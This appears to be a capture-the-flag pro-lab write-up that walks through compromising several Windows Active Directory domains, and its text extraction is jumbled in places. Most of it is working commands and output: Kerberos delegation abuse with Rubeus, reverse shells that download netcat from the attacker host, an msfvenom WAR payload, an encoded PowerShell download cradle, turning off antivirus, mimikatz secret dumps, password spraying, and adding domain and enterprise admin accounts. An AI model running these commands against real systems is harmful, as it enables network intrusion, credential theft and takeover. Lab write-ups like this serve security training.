AqEbMBkbBHRpbWUbEU0zV0VCQVcuTTNDLkxPQ0FMo4IEmDCCBJSgAwIBEqEDAgEBooIEhgSCBIJQ 07Ty
46
S6aFVSp3FMJAuC3KkADGkY6S3r9H5xDuqTLXaK8IAagYVZCxijIzgH+NAbrOEBGxQvhFkVTnG7Db xXPm
47
8eB3In1uwrHV9kqi8A83kLklZHAXoXy98X7gikT7ox6Tc+XC4rvsNZH26VN8iwjQ9SNteLrxAna0 ZNK3
48
ASnzKSXbCXlvf17QBeXnU/QQ6wOqvOubFrAIsD6uX0+cFXEUL7fxwcPuaJLqM+1WdAs1Ht8JL1yT 5OlO
49
f/fpnxSIotMAQmu27GtLFMRJuB50T4iNsjjm2EmUEDnah7NM7l8Q7tDV29jozg1CF3CoCULcyfws /Tnn
50
BIjMYcJMCyFDUYvs8cvouzFPJYo0LE21FN2tumiyRnU3eO6EeAkaABqDDjS9oTH6I4agtnmrB1t9 /NoV
51
MEcJErgJLSRrpWI9nx8Ykara9tUrLnLswvDJdLczbSNDOddR0BmIjWeLab+e2pGNYdWJFlajdk74 8bSa
52
KQYYUzU7Kjr5xXu2SWv3vszV8nS2UPrZqOcVHkwIlMLrJlodgZTn0MLc3/5zZbKcD+o0jkhCOp6b D01o
53
A7uJ6xOKKd66qFYqdLU9n01FkRZiFnYWGApLLsRHi95B3Tl43YuT3dYfb9wQJJxtbFTBl+AMkM3z TsvF
54
2gxuv9H2sJi8uUTMvUI+AwWlouZNn5YTVEBcmwpztV21RfYUYYPrzZqBuZ0Y6gW/CodYdGqRx4sx O/S6
55
Y5jsX440p7FCneMHBQEetBkPlNpO5tRYJw510QStGcczlm2jfezYr6AA6PgqMHOuZ9WwyUcQzWL8 6CH5
56
ltVNo0zNc3RyesmfZ7Oo+6J3sGjYjgnuajBZdE6PkiKDNQv8yeFeqtvWj/jB0E7iqYiSD2FGI+O9 Kc4J
57
A5FHLgqRZqCSNtwe4m8/CzAQaV+b4vR7vclWXugDL4vPMgiRP+0yyUbHGk25OKM6ELk02OQ897ZS qDBO
58
38wkvSk482B/BDC/Gl03UTB0jx6LOeQCtUW4kPB3ZHoRQ5gBWYNSUOENz/I34GTDhZ8K7DahXAuB nnr2
59
bpTEvIaXO7DGvYHsMg7eXb1PZpk3UC7w8fpB5fpzFC7LyiE+FULQ2gbfvnZ/c/qvAk7Xe+JCI7xm BvAl
60
l0IkBWXjD2hZv+9q06JSwgPSDZG+jeEOF4CUwFt96MgL/wYSkoOPYYwuH3PwXdLbzELqGHM7mI/H Ya7Q
61
nOZsPvzOu8NqSHEY5RVCMNxSxBf7PrzZwPPDeCNV7E5hZmED6y9jdbs7qaOSeh19HqS7QbHwUxQY Nl0r
62
BT5SJUF+zBa2Nxj+0IzkMCUgS1Fe634DEvc/HEtHoZizwKFnhJJbkBqEVFG85AEoA8KwZ0Uyv32c vU5o
63
Hq2fPeecrptVys8r/qCbaDv3OSbspSf9HGkfvyaCtvLhT2kupxj/vXprhI8RSYjQDHXDOsSh/D8t XH/q
64
cmjbkStlXIo5D2bdAkuxQXdgz7Km/z9E97I5cIiEX7LcH0ma9lhd1n+j6zCCafHWBxYv9X1XcmYe 7Kz0
65
QF7ADM8zRLEOG6OB3zCB3KADAgEAooHUBIHRfYHOMIHLoIHIMIHFMIHCoBswGaADAgERoRIEEBSl /n9P
66
Krba6c6gRIOlFLqhCxsJTTNDLkxPQ0FMoiEwH6ADAgEKoRgwFhsUc3ZjX2FwYWNoZUBNM0MuTE9D QUyj
67
BwMFAGChAAClERgPMjAyMDA0MTcxMTU0MzlaphEYDzIwMjAwNDE3MjEwMDAwWqcRGA8yMDIwMDQy NDEx
68
MDAwMFqoCxsJTTNDLkxPQ0FMqSQwIqADAgECoRswGRsEdGltZRsRTTNXRUJBVy5NM0MuTE9DQUw=
69
[*] Action: Import Ticket
70
[+] Ticket successfully imported!
And in the
klist
:
1
PS C:\users\svc_sql> klist
2
Current LogonId is 0:0x33f73e
3
Cached Tickets: (1)
4
#0> Client: svc_apache @ M3C.LOCAL
5
Server: time/M3WEBAW.M3C.LOCAL @ M3C.LOCAL
6
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x60a10000 -> forwardable forwarded renewable
7
pre_authent name_canonicalize 8
Start Time: 4/17/2020 7:54:39 (local)
9
End Time: 4/17/2020 17:00:00 (local)
10
Renew Time: 4/24/2020 7:00:00 (local)
11
Session Key Type: AES-128-CTS-HMAC-SHA1-96
12
Cache Flags: 0
13
Kdc Called:
However, I was unable to get access with this.
Attempt 2 A quote from @Thalpius:
“ Ok, since we can impersonate any user for that machine, we can request what we want. The trick is that the service (for the TGS) is not validated. So you can request a TGS for ANY user for ANY service for that machine.
Which was followed up by:
“ Since the account has a session to m3webaw I was expecting a PowerShell connection using WSMan (cred-ssp)
This is a really good write-up of getting two kinds of shells,
WinRM
and
PSExec
: h
ttps://horizon.guidepointsecurity.com/tutorials/delegating-like-a-boss-abusing-kerbe ros-delegation-in-active-directory/#constrained Looking in
Web Servers
reveals that the
m3webaw
is in this group.
This group has several applied GPOs, one of which is
[email protected] SERVER WINRM
:
This GPO is stored here:
1
\\m3c.local\sysvol\m3c.local\Policies\{11D18024-2D64-4CE7-8479B41B164B7DAB}\machine\preferences\groups\groups.xml
And it contains:
1
2
3
In this GPO, it shows that I then ran a
1
PowerView
M3C\Server Admins
are connected to this GPO.
command to to get these users:
get-domaingroup "server admins" | select -expandproperty member
Which resulted in:
1
CN=Terri Benson,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
2
CN=Amanda Green,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
3
CN=Silvia Harrison,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
4
CN=Justin Doty,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
5
CN=Ronald Shepard,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
6
CN=Elda Martinez,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
7
CN=David Gaines,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
8
CN=Lorraine McDonald,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
9
CN=Charlene Butcher,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
10
CN=Micheal Crosley,OU=Server Admins,OU=IT,OU=Users,OU=m3c,DC=m3c,DC=local
There are a lot of users here. So, instead of running through them one by one, I just grabbed the login counts:
1
get-domainuser | select cn,logoncount
This resulted in a lot of data, but notably this one:
1
Micheal Crosley
6
As Attempt 1 showed, I can impersonate any user. And, now I know
WHO
to
impersonate. First, I need a ticket:
1
.\Rubeus.exe tgtdeleg
This can all be put together, like so:
1
.\Rubeus.exe s4u /ticket:doIE9jCCBPKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQsbCU0zQy5MT0NBT KIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDwzCCA7+gAwIBEqEDAgECooIDsQSCA6 1k21A8fH80Xsbz8B77fFgJwlnWuCNiWISX0h7zcOr9/9TiF1SQ7BIC6Bx8ri4iW3aWVDSRVx21ROW N8iIZM5XoLMIS+pu3+vHw3/7EvNhWkKSDrRNnWqECmPoGfRmZmPkGE0067tVGRCW7bHlKfQI96OF+ DPq368ucilcKfeHcJKR8GWx6Xz6wVntovEnuYhmO4v54O4F1bEawScgarwGzH+ZmBhW9pqMyPYqo1 jW4GaOTwjvYZPgdoueQzvluLZr9SzQ1YlpQNQk1ukCPc6KOTQe1fTZuufC3iBsJztthhMGFkz2/WM uk0k4WScfzyK4hfYfZFCXeik2lhRJKgJPiuW/X2kCclmSvKAmStucTUimg69SZkQk4TTnA21zUIWM VHGs0JedzbRNTC9dd4C5cbaw7N0D3240eYXdC6fJnOInSR5jkl+eS5bvD6NjxFGPdYWH4NwZROHgT qOe+CChvfiz5e+pOOJygpkfy7JnyRjRNI2K8MO0uzaMn0lAgY65Q5XxdFzUEfUpEwDtzXKaz0gPlI lKYsoJ5upBUwggy87+pHC2rZVXaAj49LGA7VKiIm88eTtHTd0kmwTUP07uPwd4Xw/jndz4RaFjN5l pCF2Upl9YEBUHE6Zuwh+FFxCXV0f90sESQxwoKmRqmDMq/06PK7/Nyw76EDPDXc/9DvQZl+WoeymC ejC2uB+Kpt3HXAyu4SBgS7sNIHJQ7CgeTN3N652v969ApKQvHwngnvk/twFSYgPvjx6tpUYLxikpc EFuSrF+N1wAXYV2mt0pOnmEyvWqUqYt8Yp1GraNZxs9QQuEe31l/WbamUUHQM0aX/q+MOOapSEwsY XBJVaKVKFM8bRADjBiuIVU0wb0+A2A6r72HpywgOw8OIOKCs0sHfwL8JJObjMZ/nh8R6KABIK/j4E v3LWJ3jzDyy4jHq39ILtH18ZPGFh280MTWOY7A3+MC77l4Lew5HaO4DTcZgxTzw1M8VEscebJ0svB GsJBpEDvFWaPbvs1Du6FltCFLrk2r+JjYIv3r0MWaMPB1YknqQwbG9A4+j83VyvF2gjQn4p0c/a1B xLg500lZJAdbKrPOfRrQtdOrRYQZOsWTN68v3MXYiB8rXYcG9Ul3WTwReFvrAsbQUxG2uZr/6Tbx7 v9/8NBbm7eHMaTgr5lGjeYIG77X01lZ67rjVazUdwAcjG1F9cSLm0FETmVKEr55Odri1AT+W9kEdL skWrT83jsJM1lAAwJ2aEGquqOB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgE SoSIEIEQ8TkiPJZkbvT4GZy7N8T2vpRQBYUawlmAuR1k8aK1goQsbCU0zQy5MT0NBTKIUMBKgAwIB AaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyMDA1MDIxODMzMjNaphEYDzIwMjAwNTAzMDQzM DAyWqcRGA8yMDIwMDUwOTE4MzAwMlqoCxsJTTNDLkxPQ0FMqR4wHKADAgECoRUwExsGa3JidGd0Gw lNM0MuTE9DQUw= /impersonateuser:Micheal.Crosley /domain:m3c.local /msdsspn:"time/m3webaw" /altservice:http /ptt
The ticket in
klist
:
1
Current LogonId is 0:0x49db89
2
Cached Tickets: (1)
3
#0> Client: Micheal.Crosley @ M3C.LOCAL
4
Server: http/m3webaw @ M3C.LOCAL
5
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
6
Ticket Flags 0x60a10000 -> forwardable forwarded renewable
pre_authent name_canonicalize 7
Start Time: 4/18/2020 9:12:07 (local)
8
End Time: 4/18/2020 19:00:01 (local)
9
Renew Time: 4/25/2020 9:00:01 (local)
10
Session Key Type: AES-128-CTS-HMAC-SHA1-96
11
Cache Flags: 0
12
Kdc Called:
Command Execution
First off, create the session:
1
$session = new-pssession -computername m3webaw
This will give:
1
Id Name
ComputerName
ComputerType
State
------------
----- -----------
ConfigurationName Availability 2
-- ----
------------
------ -----------3
1 Session1
m3webaw RemoteMachine Opened
Microsoft.PowerShell Available
So the session is active, now for executing commands:
1
invoke-command $session {whoami}
Which responds with:
1
m3webaw
Now for a shell, I'll upload
nc64.exe
to return a shell:
1
invoke-command $session {powershell -NoP -NonI -c Invoke-WebRequest -Uri 'http://10.10.14.10/nc64.exe' -OutFile 'c:\\Windows\\Temp\\nc64.exe'}
2
invoke-command $session {cd 'c:\\Windows\\Temp'; .\nc64.exe 10.10.14.10 80}
And a shell:
1
listening on [any] 80 ...
2
connect to [10.10.14.9] from (UNKNOWN) [10.10.110.250] 12833
3
Microsoft Windows [Version 10.0.17763.1098]
4
(c) 2018 Microsoft Corporation. All rights reserved. C:\Users\Micheal.Crosley\Documents>whoami
5
m3c\micheal.crosley
6
C:\Users\Micheal.Crosley\Documents>hostname
7
m3webaw
m3webaw Running
WinPeas
doesn't reveal a great deal:
1
[+] Interesting Services -non Microsoft-(T1007)
2
[?] Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths https://book.hacktricks.xyz/windows/windows-local-privilegeescalation#services
3
[X] Exception: Access denied
4
ActiveMQ(ActiveMQ)[C:\ActiveMQ\bin\win64\wrapper.exe -s C:\ActiveMQ\bin\win64\wrapper.conf set.ACTIVEMQ_HOME=C:\ActiveMQ\bin\win64\..\.. set.ACTIVEMQ_BASE=C:\ActiveMQ\bin\win64\..\..] - Autoload - No quotes and Space detected
5
Possible DLL Hijacking in binary folder: C:\ActiveMQ\bin\win64 (Users [AppendData/CreateDirectories WriteData/CreateFiles])
6
ActiveMQ Broker
Active MQ On the root of
C:\
, there was a
ActiveMQ
1
Volume in drive C is Windows 2016
2
Volume Serial Number is BCBE-1AF0
3
directory:
4
Directory of C:\
5 6
01/24/2020
01:12 AM
ActiveMQ
7
09/15/2018
03:12 AM
PerfLogs
8
01/24/2020
01:12 AM
Program Files
9
09/15/2018
03:21 AM
Program Files (x86)
10
01/24/2020
04:04 AM 0 Recovery.txt
11
04/18/2020
12:43 PM
Temp
12
02/12/2020
03:17 AM
Users
13
01/24/2020
05:22 AM
Windows
14
1 File(s)
15
7 Dir(s)
Inside the
1 2
activemq.xml
0 bytes
72,615,645,184 bytes free
file was this snippet:
24
35
="z_gonna_fail"
43 44
45
46
47
48
49
50
51
Then build it:
1
cd "C:\Program Files (x86)\WiX Toolset v3.11\bin"
2
.\candle.exe "C:\Users\mez0\Desktop\cybernetics\mez0.wix"
3
.\light.exe "mez0.wixobj"
This should produce:
1
-a---- 26/05/2020 17:22
Now, with the files obtained from the
DevOps
32768 mez0.msi
share, get the password:
1
$username = "Username"
2
$GetKey = Get-Content "C:\users\thalpius\downloads\key.aes"
3
$EncryptedPasswordFile = "C:\users\thalpius\downloads\secrets.aes"
4
$SecureStringPassword = Get-Content -Path $EncryptedPasswordFile | ConvertToSecureString -Key $GetKey
5
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $username,$SecureStringPassword
6
$Credential.GetNetworkCredential().Password
This becomes:
1
to7oxaith2Vie9
After spraying this across the domain:
1 2 3
Total users found: 79
Robert.Ortiz is using password to7oxaith2Vie9
Total users found with given password: 1
On a NEW MACHINE, I readded the certs and enrolled. Then, requested a CyberSigning cert on behalf of Robert.Ortiz :
With that, get the
thumbprint
by
Double Clicking
the cert and going to
details
:
then sign it:
1
$cert = Get-ChildItem Cert:\CurrentUser\My\42b679f2e874fd896a12548a5d580be35527ebd6
2
Set-AuthenticodeSignature -Certificate $cert -FilePath .\mez0.msi
If this worked, PowerShell should spit out:
1
SignerCertificate Status Path
2
----------------- ------ ----
3
42B679F2E874FD896A12548A5D580BE35527EBD6
Valid
mez0.msi
This should add a signature to the
msi
:
1
msiexec /quiet /qn /i C:\Windows\Tasks\mez0.msi
And a shell:
1
PS C:\Users\mez0\Desktop\cybernetics> .\nc64.exe -nvlp 443
2
listening on [any] 443 ...
3
connect to [10.10.14.10] from (UNKNOWN) [10.10.110.250] 32576
4
Microsoft Windows [Version 10.0.18362.720]
5
(c) 2019 Microsoft Corporation. All rights reserved.
6 7
C:\>whoami
8
whoami
9
nt authority\system
Flag Hunting! Found here:
1
type "C:\Program Files\WindowsPowerShell\Modules\Invoke-OpenEmail\InvokeOpenEmail.psm1"
1
if ($Mail.Subject -like "*flag*") {
2
Write-Host -ForegroundColor Magenta "[+] Replying with lab Flag"
3
$Reply = $mail.Reply()
4
$Reply.Subject = "You can't phish me!"
5
$Reply.Body = "Cyb3rN3t1C5{Y0u_C@nt_Ph!`$h_M3}"
6
$Reply.Send()
Based on the name of my missing one,
The art of writing descriptions
. I went
hunting:
1
.\sharpview.exe Get-DomainUser -Domain core.cyber.local |findstr description
Which resulted in:
1
description
: Built-in account for administering the
computer/domain 2
description
: Built-in account for guest access to the
computer/domain 3
description
: A user account managed by the system.
4
description
: Key Distribution Center Service Account
5
description
: v765#QLm^8
#Cyb3rN3t1C5{Cr3d$_!n_De$cr!pti0ns}
And another:
1
C:\Users\Administrator\flag.txt
2
Cyb3rN3t1C5{D3vOP$_C0d3_S!gning}
In the devops share:
1
net use H: \\cyfs.cyber.local\devops to7oxaith2Vie9 /user:Robert.Ortiz
2
cd H:\
3
H:\>type flag.txt
4
type flag.txt
5
Cyb3rN3t1C5{D3vOP$_S3cure_Cr3d$}
Moving to corewkt002 There is an unintended way to do this.
Unintended Okay, so, this bit I dont understand at all. I had a hint from the next flag: again Steven!
Not
and speaking to other people. I came up with this:
1
.\Rubeus45.exe tgtdeleg
2
.\Rubeus45.exe s4u /ticket: /impersonateuser:administrator /msdsspn:cifs/COREWKT002.core.cyber.local /altservice:cifs,host,ldap,http /ptt
3
$session = new-pssession -computername corewkt002
4
invoke-command $session {whoami}
5
invoke-command $session {powershell -NoP -NonI -c Invoke-WebRequest -Uri 'http://10.10.14.10/shelly.exe' -OutFile 'c:\\Windows\\Tasks\\shelly.exe'}
6
invoke-command $session {cd 'c:\\Windows\\Tasks'; .\shelly.exe 10.10.14.10 80}
This was not intended. As
SYSTEM
worked. But it is not intended. Doing all this should return a shell:
adopts the machines AD properties, this
Intended The intended route, from Thalpius: 1. To get access to this server you need to be ExtendedProperties
permission on object
With this user account you can set corewkt001
which you have
SYSTEM
ilene.rasch
corewk002
since that user has
(found in
BloodHound
ResourceBasedConstrainedDelegation
).
for
privileges during an other attack. The
command to use is: 1
import-module c:\windows\tasks\adm.dll -Verbose
2
set-adcomputer corewkt002 -PrincipalsAllowedToDelegateToAccount (getadcomputer corewkt001)
The
adm.dll
is this: https://github.com/samratashok/ADModule?files=1
Microsoft explains the property
PrincipalsAllowedToDelegateToAccount
quiet well:
“ This attribute is used for access checks to determine if a requestor has permission to act on the behalf of other identities to services running as this account.
2. Now the requestor is
corewkt001
and you can impersonate any user to access
the machine. This can be done using the following commands:
1
./Rubeus45.exe tgtdeleg
2
./Rubeus45.exe s4u /ticket: /impersonateuser:administrator /msdsspn:cifs/COREWKT002.core.cyber.local /altservice:cifs,host,ldap,http /ptt
3. Once you impersonate the user administrator you can use the following commands to connect to
corewkt002
:
1
$session = new-pssession -computername corewkt002.core.cyber.local
2
invoke-command $session {powershell -NoP -NonI -c Invoke-WebRequest -Uri 'http://10.10.14.10/nc64.exe' -OutFile 'c:\\Windows\\Temp\\nc64.exe'}
3
invoke-command $session {cd 'c:\\Windows\\Temp'; .\nc64.exe 10.10.14.10 80}
Post exploitation of corewkt002 First off, flag:
1
type \\COREWKT002.core.cyber.local\c$\Users\Administrator\flag.txt
2
Cyb3rN3t1C5{CR3@t0rS!D}
Theres only other one user here:
1
Mode
LastWriteTime Length Name
2
----
------------- ------ ----
3
d-----
2/17/2020 9:52 AM
Administrator
4
d-----
3/26/2020 4:43 PM
Administrator.core
5
d----- 11/19/2019 6:57 PM
defaultuser0
6
d-r--- 11/19/2019 6:38 PM
Public
7
d-----
Steven.Sanchez
1/10/2020 6:31 PM
As the flag is blaming killed the cat
steven
for something, and the next flag is
, I'm going for mimikatz.
Disabling defender and running Mimikatz:
Curiosity
1
token::elevate
2
lsadump::secrets
Gives:
1
Domain : COREWKT002
2
SysKey : 5dd8c2773925b89651e9f48ebdf8d46c
3 4
Local name : COREWKT002 ( S-1-5-21-2266124114-256719172-1478668774 )
5
Domain name : core ( S-1-5-21-1559563558-3652093953-1250159885 )
6
Domain FQDN : core.cyber.local
7 8
Policy subsystem is : 1.18
9
LSA Key(s) : 1, default {d41a4f61-828e-cd3f-4165-8f0a0473a25e}
10
[00] {d41a4f61-828e-cd3f-4165-8f0a0473a25e} c5f66ce25a07afd2155b7692bb7751266906233b3e1d3e674154dd9d580d0347
11 12
Secret
13
cur/text: 0DlRYa42*7Ao)_#=FiBaj#NMD0M5;TUSB,h#
: $MACHINE.ACC
[:]nk,+a/u=eTVex"Kmn"WTz0d*,l"r9wetIka%lej(6jSWbJJu*VlhJW[bCX .T^/a;WxB9D;^9HbQgu^wn 14
NTLM:99f7ed190a27e3963249b3e0e14c3194
15
SHA1:69bd6440eb8dc905ffd4f6c382968f284489e787
16
old/text: 0DlRYa42*7Ao)_#=FiBaj#NMD0M5;TUSB,h# [:]nk,+a/u=eTVex"Kmn"WTz0d*,l"r9wetIka%lej(6jSWbJJu*VlhJW[bCX .T^/a;WxB9D;^9HbQgu^wn
17
NTLM:99f7ed190a27e3963249b3e0e14c3194
18
SHA1:69bd6440eb8dc905ffd4f6c382968f284489e787
19 20
Secret
21
old/text: 6IVx7cxECM6m57WVjrqfH1gvluKnvN
: CachedDefaultPassword
22 23
Secret
: DefaultPassword
24
cur/text: zui4uaS8oeng
25 26
Secret
: DPAPI_SYSTEM
27
cur/hex : 01 00 00 00 c7 08 b2 c2 2b 9d 99 fe 1d f2 1b e6 12 73 a4 5c 24 69 7a 7b b0 3c 0b 3c 78 22 8e 71 77 a9 f7 90 f4 cf 26 85 e3 ca 53 77
28
full:
c708b2c22b9d99fe1df21be61273a45c24697a7bb03c0b3c78228e7177a9f790f4cf2685e3ca 5377 29
m/u : c708b2c22b9d99fe1df21be61273a45c24697a7b /
b03c0b3c78228e7177a9f790f4cf2685e3ca5377 30
old/hex : 01 00 00 00 ad 98 bd 6f 32 c9 e8 09 92 8b ec 7d 9b 65 9b 95 f1 58 90 03 d2 db 45 8e 06 ce c0 dc 20 eb 30 ce 3a 77 93 fd b7 04 f3 4c
31
full:
ad98bd6f32c9e809928bec7d9b659b95f1589003d2db458e06cec0dc20eb30ce3a7793fdb704 f34c
32
m/u : ad98bd6f32c9e809928bec7d9b659b95f1589003 /
d2db458e06cec0dc20eb30ce3a7793fdb704f34c 33 34
Secret
: NL$KM
35
cur/hex : 80 91 df 97 05 38 6d 30 b4 20 36 d9 6a 8c 86 cc 3f fe e9 74 35 a5 25 41 f9 81 96 f6 50 2f 05 81 e5 e7 e2 9d c6 ef 5e 85 73 cc c8 87 cb 1d ce a0 6a d1 02 ac 23 5c fc 55 00 7d a7 6d 4e 95 09 1b
36
old/hex : 80 91 df 97 05 38 6d 30 b4 20 36 d9 6a 8c 86 cc 3f fe e9 74 35 a5 25 41 f9 81 96 f6 50 2f 05 81 e5 e7 e2 9d c6 ef 5e 85 73 cc c8 87 cb 1d ce a0 6a d1 02 ac 23 5c fc 55 00 7d a7 6d 4e 95 09 1b
LSA Secrets can be seen more in detail here. Spraying these give:
1
CORE\steven.sanchez:zui4uaS8oeng
Moving to corewebtw To find
steven
can access, due to the name of the next flag containing
found a server:
1
PS C:\Windows\Tasks> .\scan.exe 10.9.15.12 0-65535
2
.\scan.exe 10.9.15.12 0-65535
3
[!] Starting Port: 0
4
[!] Final Port: 65535
5 6
[+] 10.9.15.12 is alive!
7
[+] 10.9.15.12:135
Open
8
[+] 10.9.15.12:445
Open
9
[+] 10.9.15.12:3389 Open
10
[+] 10.9.15.12:5985 Open
11
[+] 10.9.15.12:8009 Open
12
[+] 10.9.15.12:8080 Open
13
[+] 10.9.15.12:47001
Open
14
[+] 10.9.15.12:49691
Open
15
[+] 10.9.15.12:49692
Open
16
[+] 10.9.15.12:49664
Open
17
[+] 10.9.15.12:49665
Open
18
[+] 10.9.15.12:49667
Open
19
[+] 10.9.15.12:49668
Open
20
[+] 10.9.15.12:49669
Open
21
PS C:\Windows\Tasks>
cat
, we
Connecting to the server:
1
$username = 'CORE\steven.sanchez'
2
$password = 'zui4uaS8oeng'
3
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
4
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
5
Invoke-Command -ComputerName corewebtw.core.cyber.local -Credential $credential -ScriptBlock {cmd /c "powershell -exec bypass (wget http://10.10.14.10/nc64.exe -outfile nc64.exe)"}
6
Invoke-Command -ComputerName corewebtw.core.cyber.local -Credential $credential -ScriptBlock {cmd /c "nc64.exe 10.10.14.10 443 -e cmd.exe"}
Then, as this is
1
Tomcat
server:
c:\Tomcat\webapps
This can be exploited by uploading a
.war
file into the
Tomcat
Directory and
restarting the service. 1. Build the payload:
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverseshell.war
2. Get it on the server:
1
powershell.exe -c invoke-webrequest -uri http://10.10.14.10/mez0.war -outfile c:\Tomcat\webapps\mez0.war
3. Listen, and then trigger:
1
.\nc64.exe -nvlp 443
2
powershell.exe -c invoke-webrequest -uri http://10.9.15.12:8080/mez0
Now, a shell as
nt authority\network service
The Priv Esc here is easy:
should happen.
1
SeImpersonatePrivilege
Impersonate a client after authentication
Enabled
Using Placky's binary, a shell was easy:
1
PS C:\Windows\Tasks> ./rottenspuds.exe -spawn_shell cmd
2
./rottenspuds.exe -spawn_shell cmd
3
Starting DCERPC NTLM Relay...
4
GOT TYPE1 MESSAGE TOKEN-RELAY!
5
GOT TYPE2 MESSAGE (CHALLENGE) from RPCs
6
GOT TYPE3 MESSAGE (AUTH) TOKEN-RELAY
7
You are now: SYSTEM
8
Executed:
9
Process Created Successfully
10
Will Kill Calling Process
11
Microsoft Windows [Version 10.0.14393]
12
(c) 2016 Microsoft Corporation. All rights reserved.
13
C:\>
14
C:\Windows\Tasks>whoami
15
whoami
16
nt authority\system
Flag:
1
type c:\Users\Administrator\flag.txt
2
Cyb3rN3t1C5{T0mc@t_W3b@pp$}
The next flag:
1
The parent knows best
Setting an Exclusion:
1
Add-MpPreference -ExclusionPath c:\windows\tasks
Nothing else was found here. Although, it was noted that this host, and
cymx
had unconstrained delegation.
Moving to cymx Open two sessions on the current host,
1
corewkt002
, and run these commands:
.\Rubeus45.exe monitor /interval:5
And in another session:
1
.\Spools.exe cybmxcyber.local corewebtw.core.cyber.local
The server should respond with a massive ticket, which can be added to
1
klist
.\Rubeus45.exe tgt /ticket:
Now, set an exclusion to get around av:
1
C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe
2
Add-MpPreference -ExclusionPath "C:\windows\tasks"
3
Invoke-WebRequest -Uri http://10.10.14.10/mimikatz.exe -outfile mimikatz.exe
Within, run mimikatz:
1
token::elevate
2
lsadump::secrets
This should give:
1
Secret : DefaultPassword
2
cur/text: 0@39Xs!X5$
Spraying these creds with Thalpius's script :
:
1
Starting password spray...
2
Total users found: 79
3 4 5
John.Braud is using password 0@39Xs!X5$
Total users found with given password: 1 Password spray completed successfully...
Interestingly, I dont have this guy in
BloodHound
.
So, I'm going to authenticate as him and grab data from
1
cyber.local
:
PS C:\Windows\Tasks> ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain())
2 3 4
Forest
: cyber.local
5
DomainControllers :
6
Children
:
7
DomainMode
: Unknown
8
DomainModeLevel : 7
9
Parent
:
10
PdcRoleOwner
:
11
RidRoleOwner
:
12
InfrastructureRoleOwner :
13
Name
: cyber.local
14 15 16 17
PS C:\Windows\Tasks>
This verifies that I am on
cyber.local
Nevermind that. Hes a DA:
.
Owning CYBER.LOCAL
1
$username = "cyber\john.braud"
2
$password = "0@39Xs!X5$"
3
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
4
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
5
$session = new-pssession -computername cydc.cyber.local -credential $credential
And then:
1
invoke-command $session {powershell -NoP -NonI -c Invoke-WebRequest -Uri 'http://10.10.14.10/nc64.exe' -OutFile 'c:\\Windows\\Temp\\nc64.exe'}
2
invoke-command $session {c:\\windows\\temp\\nc64.exe 10.10.14.10 80 -e cmd.exe}
Flag:
1
Cyb3rN3t1C5{P@r3nt_D0ma!n_T@ke0v3r}
Owning CORE.CYBER.LOCAL Because I am DA on the parent, the child can also be owned by adding myself to the Enterprise Admin Group:
1
net user mez0 mez0mez0! /add /domain
2
net group "Domain Admins" mez0 /add /domain
3
net group "Enterprise Admins" mez0 /add /domain
Now jumping to
1
coredc.core.cyber.local
:
Cyb3rN3t1C5{Ch!ld_D0ma!n_T@ke0v3r}
The Last Domain The quickest way to get here is to phish, and disconnect the vpn, and switch to linux. Then, startup cobalt and make sure amsi.ps1 and /a are hosted. Then, upgrade shell:
1
powershell -c invoke-webrequest -uri http://10.10.14.10/nc64.exe -outfile c:\windows\tasks\nc64.exe
2
powershell -c Start-Process -FilePath "C:\windows\tasks\nc64.exe" ArgumentList '-nv 10.10.14.10 80 -e cmd.exe'
Get a cobalt session:
1
powershell -c invoke-webrequest -uri http://10.10.14.10:443/artifact.exe outfile c:\windows\tasks\artifact.exe
2
powershell -c Start-Process -NoNewWindow -FilePath "C:\windows\tasks\artifact.exe"
Finally, spawn a shell via netcat from within cobalt:
1
$username = "cyber\john.braud"
2
$password = "0@39Xs!X5$"
3
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
4
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
5
$session = new-pssession -computername cydc.cyber.local -credential $credential
6
invoke-command $session {powershell.exe -nop -encodedcommand SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuA HQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALg AxADAALgAxADQALgAxADAAOgA0ADQAMwAvAGEAbQBzAGkALgBwAHMAMQAnACkAKQA=}
This will spawn a new session as
john.braud
. Then add a DA:
1
shell net user mez0 mez0mez0123! /add /domain
2
shell net group "Domain Admins" mez0 /add /domain
3
shell net group "Enterprise Admins" mez0 /add /domain
Finding an entry to d3v The last hosts:
1
D3WEBVW.d3v.local - 10.9.30.13
2
D3WKT001.d3v.local - 10.9.30.200
3
D3WEBJW.d3v.local - 10.9.30.12
4
D3WEBAL.d3v.local - ?
5
D3DC.d3v.local - 10.9.30.10
To verify this, I'm going to run
portaloo.exe
across
10.9.30.1-255
.
First, use this to manage shells:
1
